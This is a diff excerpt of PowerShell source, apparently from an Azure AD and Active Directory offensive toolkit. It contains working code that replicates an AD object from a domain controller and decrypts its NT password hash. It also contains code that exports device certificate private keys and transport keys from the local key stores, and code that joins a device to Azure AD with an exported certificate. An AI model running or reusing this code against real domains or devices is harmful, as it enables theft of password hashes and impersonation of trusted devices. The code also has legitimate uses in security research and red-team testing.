[Parameter(Mandatory=$true)]
[string]$Server,
[Parameter(Mandatory=$true)]
[pscredential]$Credentials,
[Parameter(ParameterSetName='Guid',Mandatory=$true)]
[Guid]$ObjectGuid=[guid]::Empty,
[Parameter(ParameterSetName='DN',Mandatory=$true)]
[String]$DistinguishedName,
[Parameter(Mandatory=$false)]
[Switch]$AsHex
)
Process
{
$ADObject = Replicate-ADObject -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid -DistinguishedName $DistinguishedName
if($AsHex)
{
return Convert-ByteArrayToHex -Bytes $ADObject.ThumbnailPhoto
}
else
{
return $ADObject.ThumbnailPhoto
}
}
}
# Mar 21st 2021
# Replicate a single AD object using DSInternals.Replication
function Replicate-ADObject
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[string]$Server,
[Parameter(Mandatory=$true)]
[pscredential]$Credentials,
[Parameter(Mandatory=$false)]
[Guid]$ObjectGuid,
[Parameter(Mandatory=$false)]
[String]$DistinguishedName
)
Begin
{
try
{
# Import DSInternals dlls
Add-Type -Path "$PSScriptRoot\DSInternals\NDceRpc.Microsoft.dll"
Add-Type -Path "$PSScriptRoot\DSInternals\DSInternals.Replication.Interop.dll"
Add-Type -Path "$PSScriptRoot\DSInternals\DSInternals.Replication.dll"
# Import native decrypt function
$NativeDecryptSource=@"
[DllImport("advapi32.dll", EntryPoint = "SystemFunction027", SetLastError = true)]
public static extern uint RtlDecryptNtOwfPwdWithIndex([In] byte[] encryptedNtOwfPassword, [In] ref int index, [In, Out] byte[] ntOwfPassword);
"@
$NativeDecrypt = Add-Type -memberDefinition $NativeDecryptSource -passthru -name NativeDecrypt -ErrorAction SilentlyContinue
Remove-Variable NativeDecryptSource
}
catch
{
Throw "Could not load required DLLs: $_.Exception.Message"
}
}
Process
{
# Connect to domain controller
Write-Verbose "Connecting to $Server as $($Credentials.UserName)"
$repClient = [DSInternals.Replication.DirectoryReplicationClient]::new($Server,[DSInternals.Replication.RpcProtocol]::TCP,$Credentials)
$sessionKey = $repClient.SessionKey
try
{
# Get the AD object
if($ObjectGuid -ne [guid]::Empty)
{
Write-Verbose "Getting AD object for $($ObjectGuid.ToString())"
$object = $repClient.GetReplicaObject($ObjectGuid)
}
else
{
Write-Verbose "Getting AD object for $DistinguishedName)"
$object = $repClient.GetReplicaObject($DistinguishedName)
}
Write-Verbose "Found object: $($object.DistinguishedName)"
# Get the attributes
# https://github.com/vletoux/ADSecrets/blob/master/AttdIDToAttribute
if($object.Attributes[1441827]) # thumbnailPhoto
{
$thumbnailPhoto = $object.Attributes[1441827].Values[0]
Write-Verbose " thumbnailPhoto ($($thumbnailPhoto.Count) bytes)"
$object | Add-Member -NotePropertyName "thumbnailPhoto" -NotePropertyValue $thumbnailPhoto
}
if($object.Attributes[589914]) # Decrypt the NT hash if present
{
$ntHash = $object.Attributes[ 589914].Values[0] # unicodePwd
# First round decrypt with session key
$salt = $ntHash[ 0..15]
$encSecret = $ntHash[16..35]
$md5 = [System.Security.Cryptography.MD5]::Create()
$md5.TransformBlock($sessionKey,0, $sessionKey.Count,$null,0)
$md5.TransformFinalBlock($salt, 0, 16)
$rc4Key = $md5.Hash
$encSecret = (Get-RC4 -Key $rc4Key -Data $encSecret)
# Second round decrypt with RID (Relative ID)
$sid = $object.Attributes[589970].Values[0] # objectSid
$rid = [BitConverter]::ToInt32($sid,$sid.Length - 4)
$encSecret = $encSecret[4..19] # Strip the CRC
$decSecret = [byte[]]::new(16)
$NativeDecrypt::RtlDecryptNtOwfPwdWithIndex($encSecret, [ref]$rid, $decSecret)
Write-Verbose " NTHash: $(Convert-ByteArrayToHex -Bytes $decSecret)"
$object | Add-Member -NotePropertyName "NTHash" -NotePropertyValue $decSecret
}
}
catch
{
if($_.Exception.Message.Contains("RPC"))
{
Throw "Could not connect to $Server as $($Credentials.UserName), check the server and credentials!"
}
}
finally
{
$repClient.Dispose()
}
if(!$object)
{
if($ObjectGuid -ne [guid]::Empty)
{
Throw "No AD object found for $($ObjectGuid.ToString())"
}
else
{
Throw "No AD object found for $DistinguishedName"
}
}
return $object
}
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+528
View File
@@ -0,0 +1,528 @@
# This file contains functions for local AAD Joined devices
# Exports the device certificate of the local device
# Dec 17th 2021
function Export-LocalDeviceCertificate
{
<#
.SYNOPSIS
Exports the device certificate and private key of the local AAD joined/registered device.
.DESCRIPTION
Exports the device certificate and private key of the local AAD joined/registered device.
Certificate filename: <deviceid>.pfx
Private key filename: <deviceid>.pem
.Example
PS C\:>Export-AADIntLocalDeviceCertificate
Certificate exported to f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx
#>
[CmdletBinding()]
param()
Process
{
# Check whether we are running in elevated session
Test-LocalAdministrator -Warn | Out-Null
# Get the join info
if(($joinInfo = Get-LocalDeviceJoinInfo) -eq $null)
{
Throw "Device seems not to be joined or registered."
}
# Get the certificate
Write-Verbose "Getting certificate $($joinInfo.CertThumb)"
$certificate = Get-Item -Path $joinInfo.CertPath
$binCert = $certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert)
# Get the private key
Write-Verbose "Device key name: $($joinInfo.KeyName)"
if($joinInfo.JoinType -eq "Joined")
{
$keyPath = "$env:ALLUSERSPROFILE"
}
else
{
Write-Warning "Accessing key in user context will FAIL if already elevated to LOCAL SYSTEM."
$keyPath = "$env:APPDATA"
}
# CryptoAPI and CNG stores keys in different directories
# https://docs.microsoft.com/en-us/windows/win32/seccng/key-storage-and-retrieval
$paths = @(
"$keyPath\Microsoft\Crypto\RSA\MachineKeys\$($joinInfo.KeyName)"
"$keyPath\Microsoft\Crypto\Keys\$($joinInfo.KeyName)"
)
foreach($path in $paths)
{
$keyBlob = Get-BinaryContent $path -ErrorAction SilentlyContinue
if($keyBlob)
{
Write-Verbose "Key loaded from $path"
break
}
}
if(!$keyBlob)
{
if($joinInfo.KeyName.EndsWith(".PCPKEY"))
{
# This machine has a TPM
Throw "PCP keys are not supported, unable to export private key!"
}
else
{
Throw "Error accessing key. If you are already elevated to LOCAL SYSTEM, restart PowerShell and try again."
}
return
}
# Parse the key blob
$blobType = [System.BitConverter]::ToInt32($keyBlob,0)
switch($blobType)
{
1 { $deviceKey = Parse-CngBlob -Data $keyBlob -Decrypt }
2 { $deviceKey = Parse-CapiBlob -Data $keyBlob -Decrypt }
default { throw "Unsupported key blob type" }
}
$fileName = "$($joinInfo.deviceId).pfx"
Set-BinaryContent -Path $fileName -Value (New-PfxFile -RSAParameters $deviceKey.RSAParameters -X509Certificate $binCert)
Write-Host "Device certificate exported to $fileName"
}
}
# Exports the transport key of the local device
# Dec 18th 2021
function Export-LocalDeviceTransportKey
{
<#
.SYNOPSIS
Exports the transport key of the local AAD joined/registered device.
.DESCRIPTION
Exports the transport key of the local AAD joined/registered device.
Filename: <deviceid>_tk.pem
.Example
PS C\:>Export-AADIntLocalDeviceTransportKey
Transport key exported to f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem
#>
[CmdletBinding()]
param()
Process
{
# Check whether we are running in elevated session
Test-LocalAdministrator -Warn | Out-Null
# Get the join info
if(($joinInfo = Get-LocalDeviceJoinInfo) -eq $null)
{
Throw "Device seems not to be joined or registered."
}
# Get the private key
Write-Verbose "Getting transport key"
$transportKeys = Get-LocalDeviceTransportKeys -JoinType $joinInfo.JoinType -IdpDomain $joinInfo.idpDomain -TenantId $joinInfo.tenantId -UserEmail $joinInfo.UserEmail
$fileName = "$($joinInfo.deviceId)_tk.pem"
Set-Content $fileName -Value (Convert-RSAToPEM -RSAParameters $transportKeys.RSAParameters)
Write-Host "Transport key exported to $fileName"
}
}
# Joins the local device to Azure AD
# Dec 20th 2021
function Join-LocalDeviceToAzureAD
{
<#
.SYNOPSIS
Joins the local Windows device to Azure AD using the given certificate.
.DESCRIPTION
Joins the local Windows device to Azure AD using the given certificate created earlier with AADInternals.
Creates required registry keys and values, saves transport key to SystemKeys, and starts related scheduled tasks.
.Parameter OSVersion
The operating system version of the device. Defaults to "10.0.18363.0"
.Parameter PfxFileName
File name of the .pfx device certificate.
.Parameter PfxPassword
The password of the .pfx device certificate.
.Parameter TransportKeyFileName
File name of the transportkey
.Parameter UserPrincipalName
The user principal name of the user.
.EXAMPLE
PS\:>Export-AADIntLocalDeviceCertificate
Certificate exported to f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx
PS C\:>Export-AADIntLocalDeviceTransportKey
Transport key exported to f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem
PS\:>Join-AADIntLocalDeviceToAzureAD -UserPrincipalName JohnD@company.com -PfxFileName .\f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx -TransportKeyFileName .\f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem
Device configured. To confirm success, restart and run: dsregcmd /status
.EXAMPLE
$token = Get-AADIntAccessTokenForAADJoin -SaveToCache
PS\:>Join-AADIntDeviceToAzureAD -DeviceName "My computer" -DeviceType "Commodore" -OSVersion "C64"
Device successfully registered to Azure AD:
DisplayName: "My computer"
DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7
Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689
Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx"
Local SID:
S-1-5-32-544
Additional SIDs:
S-1-12-1-797902961-1250002609-2090226073-616445738
S-1-12-1-3408697635-1121971140-3092833713-2344201430
S-1-12-1-2007802275-1256657308-2098244751-2635987013
PS\:>Join-AADIntLocalDeviceToAzureAD -UserPrincipalName JohnD@company.com -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx
Device configured. To confirm success, restart and run: dsregcmd /status
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$UserPrincipalName,
[Parameter(Mandatory=$True)]
[String]$PfxFileName,
[Parameter(Mandatory=$False)]
[String]$PfxPassword,
[Parameter(Mandatory=$False)]
[String]$TransportKeyFileName,
[Parameter(Mandatory=$False)]
[String]$OSVersion = "10.0.19044.1288"
)
Begin
{
$sha256 = [System.Security.Cryptography.SHA256]::Create()
}
Process
{
# Check whether we are running in elevated session
Test-LocalAdministrator -Throw | Out-Null
# Import the certificate to LocalMachine's Personal store
if($PfxPassword)
{
$certificate = Import-PfxCertificate -FilePath $PfxFileName -Password ($PfxPassword | ConvertTo-SecureString -AsPlainText -Force) -CertStoreLocation Cert:\LocalMachine\My -Exportable
}
else
{
$certificate = Import-PfxCertificate -FilePath $PfxFileName -CertStoreLocation Cert:\LocalMachine\My -Exportable
}
Write-Verbose "Certificate ($($certificate.Subject)) imported to CERT:\LocalMachine\My\$($certificate.Thumbprint)"
# Collect the required information
$thumbprint = $certificate.Thumbprint
$oids = Parse-CertificateOIDs -Certificate $certificate
$tenantId = $oids.TenantId
$deviceId = $oids.DeviceId
Write-Verbose "Thumbprint: $thumbprint"
Write-Verbose "Device ID: $deviceId"
Write-Verbose "Tenant ID: $tenantId"
Write-Verbose "Object ID: $($oids.ObjectId)"
Write-Verbose "Region: $($oids.Region)"
Write-Verbose "Join Type: $($oids.JoinType)"
if($oids.JoinType -eq 0)
{
# Certificates for AAD Registered devices won't work :(
Remove-Item $certificate -Force
Throw "Unable to join: Provided certificate is for AAD Registered device."
}
# Generate P2P cert and CA & import to correct stores
Write-Verbose "Generating P2P certificate & CA"
New-P2PDeviceCertificate -PfxFileName $PfxFileName -TenantId $tenantId -DeviceName (Get-ComputerName)
$P2P = Import-PfxCertificate -FilePath ".\$($deviceId)-P2P.pfx" -CertStoreLocation "Cert:\LocalMachine\My" -Exportable
Write-Verbose "Certificate ($($P2P.Subject)) imported to CERT:\LocalMachine\My\$($P2P.Thumbprint)"
if(-not (Test-Path "Cert:\LocalMachine\AAD Token Issuer"))
{
New-Item -Path "Cert:\LocalMachine" -Name "AAD Token Issuer" -ItemType "directory" -Force
}
$P2PCA = Import-Certificate -FilePath ".\$($deviceId)-P2P-CA.der" -CertStoreLocation "Cert:\LocalMachine\AAD Token Issuer"
Write-Verbose "Certificate ($($P2PCA.Subject)) imported to CERT:\LocalMachine\AAD Token Issuer\$($P2PCA.Thumbprint)"
# Generate the transport key using device id as name
if($TransportKeyFileName)
{
# Use the provided tkpriv
$tkPEM = (Get-Content $TransportKeyFileName) -join "`n"
$tkParameters = Convert-PEMToRSA -PEM $tkPEM
}
else
{
# Use dkpriv from the certificate
$tkParameters = $certificate.PrivateKey.ExportParameters($true)
}
$transportKeyName = $deviceId
$RSAFULLPRIVATEBLOB = New-KeyBLOB -Parameters $tkParameters -Type RSA3
$cngParameters=[System.Security.Cryptography.CngKeyCreationParameters]::new()
$cngParameters.KeyCreationOptions = 0x20 -bor 0x80 # Create machine key | overwrite
$cngParameters.Parameters.Add([System.Security.Cryptography.CngProperty]::new("Length",[System.BitConverter]::GetBytes(2048),"None"))
$cngParameters.Parameters.Add([System.Security.Cryptography.CngProperty]::new("RSAFULLPRIVATEBLOB",$RSAFULLPRIVATEBLOB,"None"))
$cngParameters.ExportPolicy = 0x01 -bor 0x02 # Allow export, allow plaintext export
$transportKey = [System.Security.Cryptography.CngKey]::Create("RSA",$transportKeyName,$cngParameters)
Write-Verbose "TransportKey name: $($transportKey.KeyName)"
Write-Verbose "TransportKey file name: $($transportKey.UniqueName)"
# Copy the private key to SystemKeys folder & delete from the current location
Copy-Item -Path "$env:ALLUSERSPROFILE\Microsoft\Crypto\Keys\$($transportKey.UniqueName)" -Destination "$env:ALLUSERSPROFILE\Microsoft\Crypto\SystemKeys" -Force
Write-Verbose "Transport key stored to $env:ALLUSERSPROFILE\Microsoft\Crypto\SystemKeys\$($transportKey.UniqueName)"
$transportKey.Delete()
# Create the registry keys
$CloudDomainJoinRoot = "HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin"
New-Item -Path "$CloudDomainJoinRoot" -Name "JoinInfo" -Force | Out-Null
New-Item -Path "$CloudDomainJoinRoot\JoinInfo" -Name $thumbprint -Force | Out-Null
New-Item -Path "$CloudDomainJoinRoot" -Name "TenantInfo" -Force | Out-Null
New-Item -Path "$CloudDomainJoinRoot\TenantInfo" -Name $TenantId -Force | Out-Null
# Set join info
$joinInfo = @{
"IdpDomain" = "login.windows.net"
"TenantId" = $TenantId
"UserEmail" = $UserPrincipalName
"AttestationLevel" = 0
"AikCertStatus" = 0
"TransportKeyStatus" = 0
"DeviceDisplayName" = Get-ComputerName
"OsVersion" = $OSVersion
"DdidUpToDate" = 0
"LastSyncTime" = [int]((Get-Date).ToUniversalTime()-$epoch).TotalSeconds
}
Write-Verbose "Created key $CloudDomainJoinRoot\JoinInfo\$thumbprint"
foreach($key in $joinInfo.Keys)
{
Set-ItemProperty -Path "$CloudDomainJoinRoot\JoinInfo\$thumbprint" -Name $key -Value $joinInfo[$key] | Out-Null
Write-Verbose " $key = $($joinInfo[$key])"
}
# Set tenant info
$tenantInfo = @{
"DisplayName" = $UserPrincipalName.split("@")[1].Split(".")[0]
"MdmEnrollmentUrl" = ""
"MdmTermsOfUseUrl" = ""
"MdmComplianceUrl" = ""
"UserSettingSyncUrl" = ""
"DrsServiceVersion" = "1.0"
"DrsEndpoint" = "https://enterpriseregistration.windows.net/EnrollmentServer/DeviceEnrollmentWebService.svc"
"DrsResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
"AuthCodeUrl" = "https://login.microsoftonline.com/$tenantId/oauth2/authorize"
"AccessTokenUrl" = "https://login.microsoftonline.com/$tenantId/oauth2/token"
"CdjServiceVersion" = "2.0"
"CdjEndpoint" = "https://enterpriseregistration.windows.net/EnrollmentServer/device/"
"CdjResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
"NgcServiceVersion" = "1.0"
"NgcEndpoint" = "https://enterpriseregistration.windows.net/EnrollmentServer/key/"
"NgcResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
"WebAuthnServiceVersion" = "1.0"
"WebAuthnEndpoint" = "https://enterpriseregistration.windows.net/webauthn/$tenantId/"
"WebAuthnResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
"DeviceManagementServiceVersion" = "1.0"
"DeviceManagementEndpoint" = "https://enterpriseregistration.windows.net/manage/$tenantId/"
"DeviceManagementResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
"RbacPolicyEndpoint" = "https://pas.windows.net"
}
Write-Verbose "Created key $CloudDomainJoinRoot\TenantInfo\$tenantId"
foreach($key in $tenantInfo.Keys)
{
Set-ItemProperty -Path "$CloudDomainJoinRoot\TenantInfo\$tenantId" -Name $key -Value $tenantInfo[$key] | Out-Null
Write-Verbose " $key = $($tenantInfo[$key])"
}
# Calculate registry key parts for transportkey
$idp = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes("login.windows.net")))
$tenant = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes($TenantId)))
# Set the transport key name
New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey" -Name "" -Force | Out-Null
New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey\$idp" -Name $tenant -Force | Out-Null
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey\$idp\$tenant" -Name "SoftwareKeyTransportKeyName" -Value $transportKeyName -Force | Out-Null
Write-Verbose "Transport key set: HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey\$idp\$tenant\SoftwareKeyTransportKeyName = $transportKeyName"
# Set some registry values
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\IdentityStore\LoadParameters\{B16898C6-A148-4967-9171-64D755DA8520}" -Name "LoginUri" -Value "https://login.microsoftonline.com" -Force | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\IdentityStore\LoadParameters\{B16898C6-A148-4967-9171-64D755DA8520}" -Name "Enabled" -Value 1 | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Provisioning\AutopilotPolicy" -Name "AutopilotMode" -Value 0 -Force | Out-Null
# Restart Software Protection Platform
Start-ScheduledTask -TaskPath "\Microsoft\Windows\SoftwareProtectionPlatform\" -TaskName "SvcRestartTask"
Write-Verbose "Restarted Software Protection Platform task."
# Enable and start AAD Device-Sync
Enable-ScheduledTask -TaskPath "\Microsoft\Windows\Workplace Join\" -TaskName "Device-Sync" | Out-Null
Start-ScheduledTask -TaskPath "\Microsoft\Windows\Workplace Join\" -TaskName "Device-Sync"
Write-Verbose "Enabled and started Device-Sync task."
# Run RegisterDeviceProtectionStateChanged
Start-ScheduledTask -TaskPath "\Microsoft\Windows\DeviceDirectoryClient\" -TaskName "RegisterDeviceProtectionStateChanged"
Write-Verbose "Ran RegisterDeviceProtectionStateChanged task."
Write-Host "Device configured. To confirm success, restart and run: dsregcmd /status"
}
End
{
$sha256.Dispose()
}
}
# Gets the join info of the local device
# Dec 23rd 2021
function Get-LocalDeviceJoinInfo
{
<#
.SYNOPSIS
Shows the Azure AD Join information of the local device.
.DESCRIPTION
Shows the Azure AD Join information of the local device.
.Example
PS C\:>Get-AADIntLocalDeviceJoinInfo
JoinType : Joined
RegistryRoot : HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin
CertThumb : CEC55C2566633AC8DA3D9E3EAD98A599084D0C4C
CertPath : Cert:\LocalMachine\My\CEC55C2566633AC8DA3D9E3EAD98A599084D0C4C
TenantId : afdb4be1-057f-4dc1-98a9-327ffa079cca
DeviceId : f4a4ea70-b196-4305-9531-018c3bcfc112
ObjectId : d625e2e9-8465-4513-b6c9-8d34a3735d41
KeyName : 8bff0b7f02f6256b521de95a77d4e70d_934bc9f7-04ef-43d8-a343-610b736a4030
KeyFriendlyName : Device Identity Key
IdpDomain : login.windows.net
UserEmail : JohnD@company.com
AttestationLevel : 0
AikCertStatus : 0
TransportKeyStatus : 0
DeviceDisplayName : WIN-JohnD
OsVersion : 10.0.19044.1288
DdidUpToDate : 0
LastSyncTime : 1643370347
.Example
PS C\:>Get-AADIntLocalDeviceJoinInfo
WARNING: This device has a TPM, exporting keys probably does not work!
JoinType : Joined
RegistryRoot : HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin
CertThumb : FFDABA36622C66F1F9104703D77603AE1964E92B
CertPath : Cert:\LocalMachine\My\FFDABA36622C66F1F9104703D77603AE1964E92B
TenantId : afdb4be1-057f-4dc1-98a9-327ffa079cca
DeviceId : e4c56ee8-419a-4421-bff4-1d3cb1c85ead
ObjectId : b62a31e9-8268-485f-aba8-69696cdf3048
KeyName : C:\ProgramData\Microsoft\Crypto\PCPKSP\[redacted]\[redacted].PCPKEY
KeyFriendlyName : Device Identity Key
IdpDomain : login.windows.net
UserEmail : package_c1b50acc-82f6-4a19-ba87-e62e5f7fbeee@company.com
AttestationLevel : 0
AikCertStatus : 0
TransportKeyStatus : 3
DeviceDisplayName : cloudpc-80153
OsVersion : 10.0.19044.1469
DdidUpToDate : 0
LastSyncTime : 1643622945
#>
[CmdletBinding()]
param()
Process
{
$AADJoinRoot = "HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin"
$AADRegisteredRoot = "HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WorkplaceJoin"
# Check the join type and construct return value
if(Test-Path -Path "$AADJoinRoot\JoinInfo")
{
$joinRoot = $AADJoinRoot
$certRoot = "LocalMachine"
$attributes = [ordered]@{
"JoinType" = "Joined"
"RegistryRoot" = $AADJoinRoot
}
}
elseif(Test-Path -Path "$AADRegisteredRoot\JoinInfo")
{
$joinRoot = $AADRegisteredRoot
$certRoot = "CurrentUser"
$attributes = [ordered]@{
"JoinType" = "Registered"
"RegistryRoot" = $AADRegisteredRoot
}
}
else
{
return $null
}
# Get the Device certificate thumbnail from registery (assuming the device can only be joined once)
$regItem = (Get-ChildItem -Path "$joinRoot\JoinInfo\").Name
$certThumbnail = $regItem.Substring($regItem.LastIndexOf("\")+1)
$certificate = Get-Item -Path "Cert:\$certRoot\My\$certThumbnail"
$oids = Parse-CertificateOIDs -Certificate $certificate
$attributes["CertThumb" ] = "$certThumbnail"
$attributes["CertPath" ] = "Cert:\$certRoot\My\$certThumbnail"
$attributes["TenantId" ] = $oids.TenantId
$attributes["DeviceId" ] = $oids.DeviceId
$attributes["ObjectId" ] = $oids.ObjectId
# This will fail for DeviceTransportKey because running as Local System
try
{
$attributes["KeyName" ] = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($certificate).key.uniquename
$attributes["KeyFriendlyName"] = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($certificate).key.uipolicy.FriendlyName
}
catch
{
# Okay
}
# Read the join info
$regItem = Get-Item -Path "$joinRoot\JoinInfo\$certThumbnail"
$valueNames = $regItem.GetValueNames()
foreach($name in $valueNames)
{
$attributes[$name] = $regItem.GetValue($name)
}
# Check the TPM
if($attributes["TransportKeyStatus"] -eq 3)
{
Write-Warning "Transport key stored to TPM, exporting not possible!"
}
return New-Object psobject -Property $attributes
}
}
+173
View File
@@ -0,0 +1,173 @@
# This file contains utility functions for local AAD Joined devices
# Exports the transport key of the local device
# Dec 17th 2021
function Get-LocalDeviceTransportKeys
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$True)]
[ValidateSet('Joined','Registered')]
[String]$JoinType,
[Parameter(Mandatory=$True)]
[String]$IdpDomain,
[Parameter(Mandatory=$True)]
[String]$TenantId,
[Parameter(Mandatory=$True)]
[String]$UserEmail
)
Begin
{
$sha256 = [System.Security.Cryptography.SHA256]::Create()
}
Process
{
# Calculate registry key parts
$idp = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes($IdpDomain)))
$tenant = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes($TenantId)))
$email = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes($UserEmail)))
$sid = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes(([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value)))
if($JoinType -eq "Joined")
{
$registryPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey\$Idp\$tenant"
}
else
{
$registryPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\$sid\$idp\$($tenant)_$($email)"
}
if((Test-Path -Path $registryPath) -eq $false)
{
Throw "The device seems not to be Azure AD joined or registered. Registry key not found: $registryPath"
}
# Get the Transport Key name from registry
try
{
$transPortKeyName = Get-ItemPropertyValue -Path "$registryPath" -Name "SoftwareKeyTransportKeyName"
}
catch
{
# This machine probably has a TPM, so the value name would be "TpmKeyTransportKeyName"
Throw "Unable to get SoftwareTransportKeyName from $registryPath"
}
Write-Verbose "TransportKey name: $transportKeyName`n"
# Loop through the system keys
$systemKeys = Get-ChildItem -Path "$env:ALLUSERSPROFILE\Microsoft\Crypto\SystemKeys"
foreach($systemKey in $systemKeys)
{
Write-Verbose "Parsing $($systemKey.FullName)"
$keyBlob = Get-BinaryContent $systemKey.FullName
# Parse the blob to get the name
$key = Parse-CngBlob -Data $keyBlob
if($key.name -eq $transPortKeyName)
{
Write-Verbose "Transport Key found! Decrypting.."
# Decrypt the found key
$transPortKey = Parse-CngBlob -Data $keyBlob -Decrypt -LocalMachine
return $transPortKey
}
}
}
End
{
$sha256.Dispose()
}
}
# Parses the oid values of the given certificate
# Dec 23rd 2021
function Parse-CertificateOIDs
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True,ValueFromPipeline)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
)
Process
{
function Get-OidRawValue
{
Param([byte[]]$RawValue)
Process
{
# Is this DER value?
if($RawValue.Length -gt 2 -and ($RawValue[2] -eq $RawValue.Length-3 ))
{
return $RawValue[3..($RawValue.Length-1)]
}
else
{
return $RawValue
}
}
}
$retVal = New-Object psobject
foreach($ext in $Certificate.Extensions)
{
switch($ext.Oid.Value)
{
"1.2.840.113556.1.5.284.2" {
$retVal | Add-Member -NotePropertyName "DeviceId" -NotePropertyValue ([guid][byte[]](Get-OidRawValue -RawValue $ext.RawData))
}
"1.2.840.113556.1.5.284.3" {
$retVal | Add-Member -NotePropertyName "ObjectId" -NotePropertyValue ([guid][byte[]](Get-OidRawValue -RawValue $ext.RawData))
}
"1.2.840.113556.1.5.284.5" {
$retVal | Add-Member -NotePropertyName "TenantId" -NotePropertyValue ([guid][byte[]](Get-OidRawValue -RawValue $ext.RawData))
}
"1.2.840.113556.1.5.284.8" {
# Tenant region
# AF = Africa
# AS = Asia
# AP = Australia/Pasific
# EU = Europe
# ME = Middle East
# NA = North America
# SA = South America
$retVal | Add-Member -NotePropertyName "Region" -NotePropertyValue ([text.encoding]::UTF8.getString([byte[]](Get-OidRawValue -RawValue $ext.RawData)))
}
"1.2.840.113556.1.5.284.7" {
# JoinType
# 0 = Registered
# 1 = Joined
$retVal | Add-Member -NotePropertyName "JoinType" -NotePropertyValue ([int]([text.encoding]::UTF8.getString([byte[]](Get-OidRawValue -RawValue $ext.RawData))))
}
}
}
return $retVal
}
}
# Gets service account names for all services
# Aug 29th 2022
function Get-ServiceAccountNames
{
[cmdletbinding()]
Param()
Process
{
foreach($service in Get-ChildItem -Path "HKLM:\SYSTEM\CurrentControlSet\Services\")
{
$svcName = $service.PSChildName
$svcAccount = $service.GetValue("ObjectName")
Write-Debug "Service: '$svcName', AccountName: '$svcAccount'"
New-Object psobject -Property ([ordered]@{"Service" = $svcName; "AccountName" = $svcAccount})
}
}
}
+843
View File
@@ -0,0 +1,843 @@
# any.sts public key
